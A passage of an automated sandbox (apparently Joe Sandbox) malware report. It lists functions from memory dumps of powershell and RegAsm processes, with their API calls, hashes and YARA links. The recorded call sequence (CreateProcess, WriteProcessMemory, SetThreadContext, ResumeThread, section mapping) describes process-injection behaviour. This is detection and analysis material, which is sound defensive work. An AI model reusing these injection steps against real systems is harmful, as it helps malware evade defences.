4'p, xrefs: 00880CD3
$p, xrefs: 00880FF3
8#g, xrefs: 00881192
4'p, xrefs: 00880CDF
l;}, xrefs: 00880C75
l;}, xrefs: 00880C10
$p, xrefs: 00880FAF
$p, xrefs: 00881011
$p, xrefs: 00881005
$p, xrefs: 00880C56
4'p, xrefs: 00880E7B
$p, xrefs: 00880FE7

Memory Dump Source

Source File: 00000007.00000002.363671503.0000000000880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_880000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p$4'p$8#g$8#g$l;}$l;}$$p$$p$$p$$p$$p$$p$$p$$p$$p
API String ID: 0-1411758938
Opcode ID: dd80fbdf92ad5515d453a6f6fc0809eaeaf1a4e0d34f36a9cc09c89bfd3c821c
Instruction ID: da411795cf733548d55c7e255f8d699fa4bafe47a597d2d6577706861fd9507e
Opcode Fuzzy Hash: dd80fbdf92ad5515d453a6f6fc0809eaeaf1a4e0d34f36a9cc09c89bfd3c821c
Instruction Fuzzy Hash: 1DF14735B002059FDBA4AE69C81477ABBA6FFC5310F28847AD945CB281DF71DC4ACB61

Function 0088203C Relevance: 8.8, Strings: 6, Instructions: 1318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(op, xrefs: 00882106
L4p, xrefs: 008822D0
L4p, xrefs: 0088232E
(op, xrefs: 00882116
L4p, xrefs: 00882339
d=}, xrefs: 008820D8

Memory Dump Source

Source File: 00000007.00000002.363671503.0000000000880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_880000_powershell.jbxd

Similarity

API ID:
String ID: (op$(op$L4p$L4p$L4p$d=}
API String ID: 0-1571529565
Opcode ID: ca3fa7546175150b7a8ae4519d0837070680aef3f31e45a5e0cac43026dc5037
Instruction ID: 713077d1de9974b91b5d5633ceb82093d46da724fa306da15c23ef75e87d6e02
Opcode Fuzzy Hash: ca3fa7546175150b7a8ae4519d0837070680aef3f31e45a5e0cac43026dc5037
Instruction Fuzzy Hash: 8EB13835700248DFDB29AF68C854BAEBBA2FF85310F648466E941CB291CB75DC45CB51

Function 00881730 Relevance: 6.4, Strings: 5, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 0088181E
$p, xrefs: 00881767
$p, xrefs: 008817C0
$p, xrefs: 008817CC
4'p, xrefs: 0088182A

Memory Dump Source

Source File: 00000007.00000002.363671503.0000000000880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_880000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$$p$$p$$p
API String ID: 0-2334450948
Opcode ID: d79878c477119db2042772238adf14a2318a5ae188722fed2eecab71f011cbcd
Instruction ID: c4da622cabd430b0f4a41d6e25289006d3a6acadd487c86582dd1658a97794ff
Opcode Fuzzy Hash: d79878c477119db2042772238adf14a2318a5ae188722fed2eecab71f011cbcd
Instruction Fuzzy Hash: F741FF35700205DBCF297A6884096AAFBEAFBC1310BA8857ED855CA259DF70CC42C752

Function 00881B7F Relevance: 2.5, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 00881BAE
4'p, xrefs: 00881BA2

Memory Dump Source

Source File: 00000007.00000002.363671503.0000000000880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_880000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: f45afd339e754e5a86aa42e3140dbdfdca2ddba0b0b5c4722aefd3c39fd4bd41
Instruction ID: 385f0109dca8dee5fcfa7e5fbee19699e95ac825e23372b5fdb5b72b2d0ecfd5
Opcode Fuzzy Hash: f45afd339e754e5a86aa42e3140dbdfdca2ddba0b0b5c4722aefd3c39fd4bd41
Instruction Fuzzy Hash: A2E0D831B043449ECF58766490253AC7B65FFD2325F6481EBC480C6245DE20CD17C392

Function 0055172C Relevance: 1.7, APIs: 1, Instructions: 239
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00555B0F

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9b669bbd720cd51dbd08652b36ad5bbdd383205b8bba77df5cc2c65e690aa1aa
Instruction ID: de25b5b71091c416423e8c0e83df5b6f065d3c1c5fdd212eb8220a799c4eabb8
Opcode Fuzzy Hash: 9b669bbd720cd51dbd08652b36ad5bbdd383205b8bba77df5cc2c65e690aa1aa
Instruction Fuzzy Hash: 7C81C274D0026D9FDF25CFA9C954BDDBBB5BB09300F0090AAE549B7220D7749A89CF54

Function 0055592F Relevance: 1.7, APIs: 1, Instructions: 236
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00555B0F

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 3ef65829f80a588191fa1ba54ac98696b03b628c709b3f2d8666bbc1a4a3173a
Instruction ID: fba05e74e87a2e1c0dd2e7c3cfcc5ff11510ed99f611894c2fbd42955f235f48
Opcode Fuzzy Hash: 3ef65829f80a588191fa1ba54ac98696b03b628c709b3f2d8666bbc1a4a3173a
Instruction Fuzzy Hash: A781C074C0026D9FDF25CFA8C950BDDBBB1BB09300F0090AAE549B7220DB749A89CF54

Function 00555F91 Relevance: 1.6, APIs: 1, Instructions: 114
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00556066

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4d3aa8cc181a057a07f6b226da442d9f9e7964650c3097751d4979f7575d45bf
Instruction ID: 798c088df425711381faaf5ec7f9c51179fcfb86a5c46f34b48719525a57ffd1
Opcode Fuzzy Hash: 4d3aa8cc181a057a07f6b226da442d9f9e7964650c3097751d4979f7575d45bf
Instruction Fuzzy Hash: 054188B9D002589FCF00CFA9D984ADEFBF1BB49310F24902AE818B7250D375AA45CF64

Function 00551774 Relevance: 1.6, APIs: 1, Instructions: 113
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00556066

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: cb6e362789bbc66077daea1670796f58ce4e5b1c9cb24fffc8db9b4158a7fd4d
Instruction ID: 58c2de7746f009fff3819a7227ccbc1bb038203320fd37f4afe7032b764a79ca
Opcode Fuzzy Hash: cb6e362789bbc66077daea1670796f58ce4e5b1c9cb24fffc8db9b4158a7fd4d
Instruction Fuzzy Hash: 5F4177B5D042589FCF10CFA9D984AEEFBF1BB49310F24902AE818B7350D375AA45CB64

Function 00555C61 Relevance: 1.6, APIs: 1, Instructions: 91
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00555D12

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: b4c26b3422080f5b1d530d1c9caecc536a1365c9834f588ab74e21e603f6960e
Instruction ID: 157de64ced3839f518fa3b74d3382f71ab8fbe71c037fc61cea7486b2e9775f4
Opcode Fuzzy Hash: b4c26b3422080f5b1d530d1c9caecc536a1365c9834f588ab74e21e603f6960e
Instruction Fuzzy Hash: A231ADB5D012589FCB10CFA9D584ADDFBF1BB49314F24806AE815B7350D3789949CF54

Function 00551738 Relevance: 1.6, APIs: 1, Instructions: 91
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00555D12

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7d3f3fd25cbeab5b4c4dd2ba8890afcd9d23f02a464bf440770fd2ae5d7fade4
Instruction ID: 305e580b76cd797e5f6a054dad13cc3324458184d97a77d4477f51b2203621f6
Opcode Fuzzy Hash: 7d3f3fd25cbeab5b4c4dd2ba8890afcd9d23f02a464bf440770fd2ae5d7fade4
Instruction Fuzzy Hash: 73319DB5D012589FCB10CF99D594ADEFBF5BB49314F24802AE815B7310D3749A49CF64

Function 00551780 Relevance: 1.6, APIs: 1, Instructions: 91
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 00555D12

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d12f5c96abfaef160b41f55f641394fd9d95cebf83cc168c54020d4efd5e2543
Instruction ID: a5ce0e891cbe5f34c863894edf0342eae13cf7f0c435b25c89f06b0ec6e06878
Opcode Fuzzy Hash: d12f5c96abfaef160b41f55f641394fd9d95cebf83cc168c54020d4efd5e2543
Instruction Fuzzy Hash: 7231ADB5D012589FCB10CF99D584ADDFBF1BB49310F24802AE818B7310D374AA49CF64

Function 005560D0 Relevance: 1.6, APIs: 1, Instructions: 71
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0055614E

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 000a5f465f4e71d0d4c85aa7d63b709ff99bb873f071232edc548afa4f4726ab
Instruction ID: 49dce265956ac09f49d99ada0a6375d973077e5f9cb45ebf80572e5beb208c3c
Opcode Fuzzy Hash: 000a5f465f4e71d0d4c85aa7d63b709ff99bb873f071232edc548afa4f4726ab
Instruction Fuzzy Hash: F2219BB9D042489FCB10CFA9D584AEEFBF4BB49320F24905AE818B7310D374A945CFA4

Function 00551798 Relevance: 1.6, APIs: 1, Instructions: 69
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 0055614E

Memory Dump Source

Source File: 00000007.00000002.363624944.0000000000550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_550000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 53936da8dd8fc45941145d2a719ce161a58b261e2e9680f70c9e10785c814859
Instruction ID: a23a298c7733008851ca822e37765e14dc776eeedac88efbd1791d444a355da7
Opcode Fuzzy Hash: 53936da8dd8fc45941145d2a719ce161a58b261e2e9680f70c9e10785c814859
Instruction Fuzzy Hash: 37218CB8D042589FCB10CFA9D584AEEFBF4BB49310F24946AE818B7310D374A945CFA5

Function 001ED01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363563690.00000000001ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 001ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335d8be87d1cd0ef9a97ff6ab4498bf81df2babeb1b1c3520a714c5fe43cc4be
Instruction ID: 31582164df6d9ea605d2907bdaa490ee8d2c1cfe74c91e014259f7e635cba7df
Opcode Fuzzy Hash: 335d8be87d1cd0ef9a97ff6ab4498bf81df2babeb1b1c3520a714c5fe43cc4be
Instruction Fuzzy Hash: 5401A271504780AEE7205E2AE984B6BFFD8EF41724F2C841AFC494B286C779D845CAB1

Function 001ED006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.363563690.00000000001ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 001ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1ed000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcda0eb21df8cdb11df20c216574c5e52b47f478f39104e8d697939fb3d10931
Instruction ID: 0c02ca2936b494fd26fe6d6042c4eec4db4fe4669697be3e83a4d0f0edb865b3
Opcode Fuzzy Hash: dcda0eb21df8cdb11df20c216574c5e52b47f478f39104e8d697939fb3d10931
Instruction Fuzzy Hash: 6A012D6140E7C05FD7124B259C94B66BFB4DF43224F1D81DBE8888F1A7C2699848C772

Non-executed Functions

Function 008800A0 Relevance: 15.4, Strings: 12, Instructions: 398COMMON

Download Yara Rule

Strings

(:}, xrefs: 0088011B
L:}, xrefs: 0088036B
L4p, xrefs: 008803B0
(:}, xrefs: 00880240
L4p, xrefs: 00880419
L:}, xrefs: 00880490
(:}, xrefs: 00880189
L4p, xrefs: 00880160
L4p, xrefs: 0088040E
L:}, xrefs: 008803D9
L4p, xrefs: 008801C9
L4p, xrefs: 008801BE

Memory Dump Source

Source File: 00000007.00000002.363671503.0000000000880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_880000_powershell.jbxd

Similarity

API ID:
String ID: (:}$(:}$(:}$L4p$L4p$L4p$L4p$L4p$L4p$L:}$L:}$L:}
API String ID: 0-1774546207
Opcode ID: a892f64c9af21c8fd4002f39bdd5b1642e3bcb874ec1723ae0eb4c4e85fe2d4e
Instruction ID: 52c61adca39a7d8a1b0b5071d7d027a981296f67a127063b71ff723739b06251
Opcode Fuzzy Hash: a892f64c9af21c8fd4002f39bdd5b1642e3bcb874ec1723ae0eb4c4e85fe2d4e
Instruction Fuzzy Hash: D2D14335700248EFCB65AF68D814BAE7BA2FFC5310F188466E945DB291CB70DD49CB92

Function 008813A8 Relevance: 5.2, Strings: 4, Instructions: 190COMMON

Download Yara Rule

Strings

h<}, xrefs: 00881560
$p, xrefs: 008813FB
$p, xrefs: 0088141F
$p, xrefs: 0088142B

Memory Dump Source

Source File: 00000007.00000002.363671503.0000000000880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_880000_powershell.jbxd

Similarity

API ID:
String ID: h<}$$p$$p$$p
API String ID: 0-2836683382
Opcode ID: fffeedf73c2cfd99ecd7a8c1b3e7978b9b0d0b465575a65cb88ac66530ff3252
Instruction ID: b1c6ec1935d10f42ea5a150ec63cf66330db272461bd55ffe537cc135d11efd7
Opcode Fuzzy Hash: fffeedf73c2cfd99ecd7a8c1b3e7978b9b0d0b465575a65cb88ac66530ff3252
Instruction Fuzzy Hash: A9511375B043059FCF24AA69884876BBBEAFBC1310F68846AD846DB251DE71DC42C7A1

Function 008806C1 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

4'p, xrefs: 0088072B
$p, xrefs: 00880716
$p, xrefs: 0088070A
4'p, xrefs: 00880737

Memory Dump Source

Source File: 00000007.00000002.363671503.0000000000880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_880000_powershell.jbxd

Similarity

API ID:
String ID: 4'p$4'p$$p$$p
API String ID: 0-377911355
Opcode ID: 16c433fb7111329ca6c4c7d1881ee2c6c3ad5379ec88f5bee7074d6a76d4486b
Instruction ID: 0449303a2b9ca08fd3a32a464c073dc6972cc6c7b2c240b63b1d8fc84512a212
Opcode Fuzzy Hash: 16c433fb7111329ca6c4c7d1881ee2c6c3ad5379ec88f5bee7074d6a76d4486b
Instruction Fuzzy Hash: 07015E2560D3C14FC76A226818205A9AFB2ABD32507AE41DBD1D1CF297C9558C0AC7A6

Analysis Process: RegAsm.exePID: 3748, Parent PID: 3628COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	52.9%
Total number of Nodes:	68
Total number of Limit Nodes:	2

Executed Functions

Function 004014D6 Relevance: 10.8, APIs: 7, Instructions: 253
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: afa16a46a3e1c62dd3975b49d68645ed763654774106451467306ab0cf294d30
Instruction ID: b0857a4fb145544e41851af17f16183f6357fb9efc2fe45eaf6198d87de3a54a
Opcode Fuzzy Hash: afa16a46a3e1c62dd3975b49d68645ed763654774106451467306ab0cf294d30
Instruction Fuzzy Hash: 8681E171600248BBDB218FA5DC88FEB7FB8FF86710F10416AF951BA1E5D6749901CB64

Function 004014BF Relevance: 10.7, APIs: 7, Instructions: 204
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 6f051ce4ba6575236144a0128aa406b27f07ac02e786d19381c723ae0cf33ce2
Instruction ID: cb32da509904316ed93400f6898fa9d135e0c3db95e2781c81c9f365a62fd76c
Opcode Fuzzy Hash: 6f051ce4ba6575236144a0128aa406b27f07ac02e786d19381c723ae0cf33ce2
Instruction Fuzzy Hash: 8D617F71A00244FBEB219F91CC49FAF7BB8FF85B00F10412AF912BA1E4D6749A01DB65

Function 004014E8 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 3ec7b73e90794c52acaab491f05d9b891cb3c0e9704d69be5a814fe7f5293bbb
Instruction ID: a9c2a09af8f6974916e8dbce0e9e74a1ab8539b6b4ce2c8be6c8dc9eb24f9302
Opcode Fuzzy Hash: 3ec7b73e90794c52acaab491f05d9b891cb3c0e9704d69be5a814fe7f5293bbb
Instruction Fuzzy Hash: 675127B5900245BBEB209F91CC48FABBBB8EF85B00F104169FA11BA2E5D6759941CB24

Function 004014EB Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004015CE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015EC
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040162D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040165E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401680

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c5abebaecd196e20942843c263fe473df959be3af63705ed68d3559f17c82489
Instruction ID: 9bfdfe9cbb785be4fdfd0dd6995845ce59af7eac5c2f91023a42677e7735ba1d
Opcode Fuzzy Hash: c5abebaecd196e20942843c263fe473df959be3af63705ed68d3559f17c82489
Instruction Fuzzy Hash: 9D5127B5900248BBEB209F91CC48FAFBBB8EF85B00F104159FA11BA2E5D6719905CB64

Function 00402F5D Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403091
NtTerminateProcess.NTDLL ref: 004030AA

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction ID: 028c31f760cafe6bdfeacd3711728474bc178c938afdf01909161d150e4b5d3c
Opcode Fuzzy Hash: 8dd8c1b6c2a2e81b31e5df05537a0a765b57e58f23bcff5050bac5d1a8738f05
Instruction Fuzzy Hash: 84416831228D094FD768EF5CA845762B7D5F798351F6643AAE809D3389EA34DC1183C6

Function 004030BF Relevance: 3.1, APIs: 2, Instructions: 82
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403091
NtTerminateProcess.NTDLL ref: 004030AA

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: c30ac68ff69c2e5b18761fee067da9d71720b063899e47dfee2d3f0b6f1a7b91
Instruction ID: 715d93b18a869b872d6bab68aa9d9aa25fe40f65b3c459de5f1da0bbea4f6161
Opcode Fuzzy Hash: c30ac68ff69c2e5b18761fee067da9d71720b063899e47dfee2d3f0b6f1a7b91
Instruction Fuzzy Hash: 222105309087448FE3549F7C98423A6BFE0EB4A311F6805AFD596DA2D2D33E5A46C787

Function 004018C5 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Strings

zOji, xrefs: 004018C5

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID: zOji
API String ID: 4152845823-4118548424
Opcode ID: 40e582844cb886fdd248ac7c5f774f7486ed80249be4d22e0ce5f88863c1373c
Instruction ID: 5008de21d6646d6a4101a84352d49cb2eeb815b2728bacd1896cd8e4e39b07a0
Opcode Fuzzy Hash: 40e582844cb886fdd248ac7c5f774f7486ed80249be4d22e0ce5f88863c1373c
Instruction Fuzzy Hash: 46018BB2308205EBDB006E949C61EAE3658AB40724F308033F607780F1C67D8A13F31B

Function 004018A6 Relevance: 1.3, APIs: 1, Instructions: 61
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 2e3e027024aa3d6704b47e5880310210fdf2d46df9c3430db9cfbdec36fb4464
Instruction ID: ec7c9f9116aa5c3d7af92c99ccf4db412f3ff1557a2b92ce3f8b18b7d449fb36
Opcode Fuzzy Hash: 2e3e027024aa3d6704b47e5880310210fdf2d46df9c3430db9cfbdec36fb4464
Instruction Fuzzy Hash: 97016DB2308305EBE7006A959C51EBA3758AB41764F308133B607780F1957D9A17B36F

Function 004018BE Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004018F6

Part of subcall function 004014BF: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 0040157E
Part of subcall function 004014BF: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015AB

Memory Dump Source

Source File: 0000000A.00000002.376253469.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 63246ced83773f111c728f1a43d3fcfa9d239b90abfb008a8a8fe5df5a230609
Instruction ID: cc5cf84a4ac16d3ff6e0150408ab5a4d949569ac012fe2ee23f61dbe8ee8ec54
Opcode Fuzzy Hash: 63246ced83773f111c728f1a43d3fcfa9d239b90abfb008a8a8fe5df5a230609
